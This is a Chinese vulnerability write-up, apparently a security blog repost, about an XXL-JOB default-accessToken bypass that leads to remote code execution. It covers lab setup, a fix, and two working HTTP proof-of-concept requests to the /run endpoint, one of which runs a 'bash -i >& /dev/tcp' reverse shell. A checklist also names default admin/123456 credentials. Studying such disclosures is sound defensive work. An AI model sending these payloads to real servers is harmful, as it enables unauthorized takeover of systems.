XXL-JOB默认accessToken身份认证绕过RCE

admin 2024年7月5日20:18:16评论9 views字数 2693阅读8分58秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!
作者:Arvin@Timeline Sec
本文字数:2867
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。

0x02 漏洞概述

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。

0x03 影响版本

XXL-JOB <= 2.4.0

0x04 环境搭建

Docker方式构建

1.拉取镜像

docker pull xuxueli/xxl-job-admin:2.4.0

XXL-JOB默认accessToken身份认证绕过RCE

2.创建数据库

docker pull mysql

docker run -d --name mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:13306 mysql

XXL-JOB默认accessToken身份认证绕过RCE

3.用navicat连接数据库并运行xxl-job.sql文件

xxl-job.sql下载地址:https://github.com/xuxueli/xxl-job/tree/master/doc/db

XXL-JOB默认accessToken身份认证绕过RCE

打开navicat连接数据库,新建一个名称叫xxl-job名称的数据库,进入该xxl-job名称数据库,并执行xxl-job.sql文件

4.创建xxl-job容器并启动

docker run --privileged=true -e PARAMS="--spring.datasource.username=root --spring.datasource.password=123456 --spring.datasource.url=jdbc:mysql://yourip:13306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /home/xxl-job/logs:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:2.4.0
XXL-JOB默认accessToken身份认证绕过RCE

访问http://yourip:8080/xxl-job-admin/toLogin

XXL-JOB默认accessToken身份认证绕过RCE

执行器搭建

1.下载Source并编译成jar包

https://github.com/xuxueli/xxl-job

使用idea或maven编译

XXL-JOB默认accessToken身份认证绕过RCE

2.下载application.properties并根据实际情况修改

wget https://github.com/xuxueli/xxl-job/raw/2.4.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

XXL-JOB默认accessToken身份认证绕过RCE

3.运行

nohup java -jar ./xxl-job-executor-sample-springboot.jar --spring.config.location=./application.properties &

4.验证

执行器中管理中对应节点已经自动注册

XXL-JOB默认accessToken身份认证绕过RCE

0x05 漏洞复现

POC:

POST /run HTTP/1.1
Host: 
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 326
 
{
"jobId":1,
"executorHandler":"demoJobHandler",
"executorParams":"demoJobHandler",
"executorBlockStrategy":"COVER_EARLY",
"executorTimeout":0,
"logId":1,
"logDateTime":1710864010,
"glueType":"GLUE_SHELL",
"glueSource":"ping xxxx.dnslog.cn",
"glueUpdatetime":1710864010,
"broadcastIndex":0,
"broadcastTotal":0
}

DNSLog

XXL-JOB默认accessToken身份认证绕过RCE
XXL-JOB默认accessToken身份认证绕过RCE

Getshell

POC:

POST /run HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: 
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Content-Length: 375

{
"jobId": 2,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "SERIAL_EXECUTION",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586373637819,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/ip/4444 0>&1",
"glueUpdatetime": 1586693836766,
"broadcastIndex": 0,
"broadcastTotal": 0
}

XXL-JOB默认accessToken身份认证绕过RCE
XXL-JOB默认accessToken身份认证绕过RCE

0x06 修复方式

修改调度中心和执行器配置项 xxl.job.accessToken 的默认值,注意要设置相同的值。

参考链接

https://github.com/xuxueli/xxl-job
https://www.xuxueli.com/xxl-job/#5.10%20%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%EF%BC%88AccessToken%EF%BC%89

Checklist

默认账号密码admin/123456
executor未授权访问命令执行
api未授权Hessian2反序列化

XXL-JOB默认accessToken身份认证绕过RCE

原文始发于微信公众号(Timeline Sec):XXL-JOB默认accessToken身份认证绕过RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月5日20:18:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXL-JOB默认accessToken身份认证绕过RCEhttps://cn-sec.com/archives/2924004.html

发表评论

匿名网友 填写信息